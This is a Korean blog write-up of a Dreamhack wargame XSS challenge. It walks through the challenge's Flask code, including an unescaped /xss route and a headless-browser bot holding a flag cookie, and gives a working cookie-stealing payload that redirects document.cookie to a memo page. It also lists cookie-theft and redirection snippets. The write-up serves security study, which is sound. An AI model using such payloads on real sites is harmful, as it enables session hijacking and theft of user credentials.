처음 화면

xss, memo, flag 각각의 페이지가 있다.

 


분석

xss 클릭시 나오는 화면

자세히 보면 xss 값에 <script>alert(1)</script>가 들어가 있다.

그리고 이에 대해 그대로 그 결과를 보여주었다는 것은

웹 페이지 내에서 XSS 공격이 가능하다는 의미이다.

 

 

 

memo 클릭시 나오는 화면

memo를 클릭했을 때는 memo안에 hello 값이 들어가있고,

이를 화면에 출력하고 있다.

 

 

 

flag 클릭시 나오는 화면
flag.html의 소스코드 확인

 

이 부분이 중요해 보였다.

'xss라는 이름으로 POST 방식으로 넘겨지는 요 부분'이 우리가 채울 부분이다.

 

 

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/xss') 
def xss():
    xss = request.args.get('xss', '') 
    return xss 

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if request.method == 'GET':
        return render_template('flag.html')
    elif request.method == 'POST': 
        xss = request.form.get('xss') 
        if not read_url(xss, {'name': 'flag', 'value': FLAG}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ''
@app.route('/memo')
def memo():
    global memo_text
    text = request.args.get('memo', None)
    if text:
        memo_text += text.replace('<', '&lt;') + '\n'
    return render_template('memo.html', memo=memo_text)

↑app.py 코드 일부

 

[GET] /xss 에서는 xss 파라미터가 그대로 출력되고,

[GET] /memo에서는 'memo' 파라미터를 저장(text)하고 저장된 값(memo_text)들을 보여준다.

[POST] /flag 에선 read_url 로 'xss' 파라미터와 'flag' 쌍을 넘겨준다.

 

 

아무리 고민해도,, 어디부터 봐야할지 감이 안 잡혀 힌트를 봤는데, 먼저 /memo가 왜 있는지 생각해보라고 했다.

나중에 알아냈지만 /memo의 역할은 get 방식으로 'memo' 파라미터 값으로 쿠키값(document.cookie)을 전달받으면

이 페이지에 나타내도록 하는 것이다.

 

/memo에서 궁금한게 있었다. 왜 replace 함수를 사용해서 < 부등호를 &lt;로 변환을 할까?

자바스크립트를 이용한 공격을 막기 위해서?

 

 

def read_url(url, cookie={'name': 'name', 'value': 'value'}):
    cookie.update({'domain':'127.0.0.1'})
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('/chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get('http://127.0.0.1:8000/') #URL에 접근
        driver.add_cookie(cookie)
        driver.get(f'http://127.0.0.1:8000/xss?xss={urllib.parse.quote(url)}')
        #urllib.parse.quote(string, safe='/', encoding='utf-8', errors='strict'): 인자로 주어진 문자열에서 특수문자를 문자열로 변환해서 반환
    except:
        driver.quit()
        return False
    driver.quit()
    return True

그 후, 핵심 코드인 read_url을 이해하려 하였다.

 

/flag 페이지에서 'xss'의 데이터를 POST 방식으로 보내면 read_url 함수가 동작하는데,

read_url에선 flag 쌍을 'cookie'로 설정하고,

FLAG 변수의 내용이 담긴 flag 쿠키가 생성(add_cookie(cookie))된다

 

그 후, /xss?xss={입력한 부분} 으로 get request를 보낸다.

따라서 'xss' 값을 아래와 같이 적으면 document.cookie를 memo에 입력할 수 있게 된다.

 

 

처음에 이해가 안 갔던 것은 driver.get(f'http://127.0.0.1:8000/xss?xss={입력한 부분}') 이 코드가 왜 필요한가,, 였는데

이게 진짜 핵심이었던 것..

접속하는 호스트에 서버를 연결시켜 XSS 공격을 유발하도록 하는 부분이었다.

(이 문제에서 공격자는 로컬(나)이기 때문에 주소를 http://127.0.0.1/로 설정하는 것임)

 

 

 

빈칸 입력

빈칸에 <script>location.href="/memo?memo="+document.cookie;</script>를 입력.

location.href를 통해 지정한 위치(해커 사이트, memo)로 리다이렉션되고, document.cookie 정보를 함께 입력시켜

사용자의 쿠키가 지정한 위치(해커 사이트, memo)에 출력된다.

 

 

 

memo 페이지

즉, /xss페이지에 'xss'값이 전달되고 실행되어 '잠깐 동안 존재했던 flag 쿠키'가 /memo 페이지에 기록된다.

 

더보기

Flask에서 GET,POST 사용하는 방법 조금씩 익히기

# render_template : html 파일 불러옴

# GET과 POST는 둘 다 서버로 요청하는 방식
# GET 방식 : 모든 파라미터를 url로 보내는 것(눈에 보임) => Flask에서 제공하는 request객체의 args 함수 호출

# get 함수의 첫 번째 인자는 요청 파라미터명, 두 번째 인자는 초기값, 그 다음은 타입

# POST 방식 :전달하려는 정보가 HTTP Body에 포함되어 전달되는 것(눈에 안보임) => request 객체의 form 함수 사용

 

더보기

꼭 알아둘 웹 사이트에서 정보 탈취나 위치 이동&변조가 가능한 코드들!

<script>

alert("hi"); <!--메시지 출력-->

document.cookie; <!--쿠키값-->

location.href=""; <!--""내의 링크로 위치 이동-->

document.location=""; <!--""링크로 이동-->

</script>

 


주절주절 썼지만

계속 풀면서 들었던 생각은

'탄탄한 기본기 갖추기'라는 것이다. 

까먹거나 모르는 부분을 쬐금씩 찾으면서 하니까 너무 오래걸렸다.

다시 공부하러,, 고고╭(๑•̀ㅂ•́)و

'WEB > WEB Hacking' 카테고리의 다른 글

Client-side Attack  (0) 2021.01.25
Flask, HTTP 요청 방식  (0) 2021.01.24
웹 해킹 기초  (0) 2021.01.23
Dreamhack | 워게임 | <simple_sqli>문제  (0) 2020.11.19
Dreamhack | 워게임 | <cookie>문제  (0) 2020.11.19

+ Recent posts